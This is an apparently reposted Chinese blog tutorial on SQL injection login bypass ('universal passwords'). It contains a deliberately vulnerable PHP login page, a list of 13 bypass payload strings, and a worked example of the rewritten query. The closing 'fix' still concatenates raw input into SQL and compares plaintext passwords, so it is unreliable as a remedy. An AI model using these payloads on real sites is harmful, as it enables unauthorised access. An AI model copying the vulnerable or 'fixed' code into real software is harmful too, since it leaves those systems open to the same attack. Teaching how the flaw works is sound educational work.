技术笔记

万能密码的原理

字号+ 作者:sn0w 来源:转载 2016-11-27 14:44 我要评论( )

测试代码: [PHP] 纯文本查看 复制代码 ? 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 //连接数据库 $......

测试代码:
[PHP] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//连接数据库
  $coon = mysql_connect('localhost','root','root') or die('Connect Error '.mysql_error());
  mysql_select_db('sqlinjection',$coon) or die('Datebase Error '.mysql_error());
//构造查询语句
  $query="SELECT * FROM user WHERE username='".$_GET["username"]."' AND password='".$_GET["password"]."'";
  echo $query."<br/>";
//执行sql语句
  $result= mysql_query($query);
//echo $result;
//判断返回数据的数目
  $rowcount=mysql_num_rows($result);
//判断 如果数量大于1标示登录成功
//echo $rowcount;
  if($rowcount!=0){
    echo "OK";
  }else{
    echo "ERROR";
  }
 ?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>SQL injection test</title>
  </head>
  <body>
    <form class="" action="test.php" method="GET">
      <input type="test" name="username" value=""><br/>
      <input type="password" name="password" value=""><br/>
      <input type="submit" name="sub" value="Login">
    </form>
  </body>
</html>

     首先我们先看一下测试代码,首先可以看到的是参数并没有进行相关的过滤,肯定会产生注入,但是今天我们讨论的是万能密码的问题。
     关于万能密码我们应该都知道,常见的万能密码包括:
[PHP] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1 or '1'='1'=1
12:1 or '1'='1' or 1=1
13: 'OR 1=1%00
通过我们的测试代码可以发现,开发在验证登录的时候,只是将用户输入作为查询条件进行查询,然后mysql_num_rows函数进行判断返回数据的数量,如果返回的数量大于1证明数据库中存在该用户,然后允许登录,正常情况下执行的SQL语句为:
[AppleScript] 纯文本查看 复制代码
?
1
select * from user where username='admin' and password ='admin'

但是当我们提交 【' or '1'='1】时,由于程序并没有对特殊字符进行过滤,将用户输入的直接带入查询,最后执行的SQL语句为:
[AppleScript] 纯文本查看 复制代码
?
1
select * from user where username='admin' and password ='admin' or '1'='1'

这样SQL返回的值始终为1,就成功绕过了程序的验证。

关于修复:

[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
$result=mysql_query($sql); //执行语句
  //echo $result;
  $results=mysql_fetch_assoc($result);
  if($results['username'] == $name && $results['password'] == $pass){
    echo "OK";
  }else{
    echo "NO";
  }
  }


以上代码对返回的数据与用户输入数据进行了比较验证,避免了万能密码的产生。



------------------------------------------------------------------------------------------------
一起学习,共同进步。

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/317.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 万能密码绕过总结

    万能密码绕过总结

    2016-12-19 14:53

  • 密码学笔记

    密码学笔记

    2016-12-13 16:08

网友点评
暂时未开启评论功能~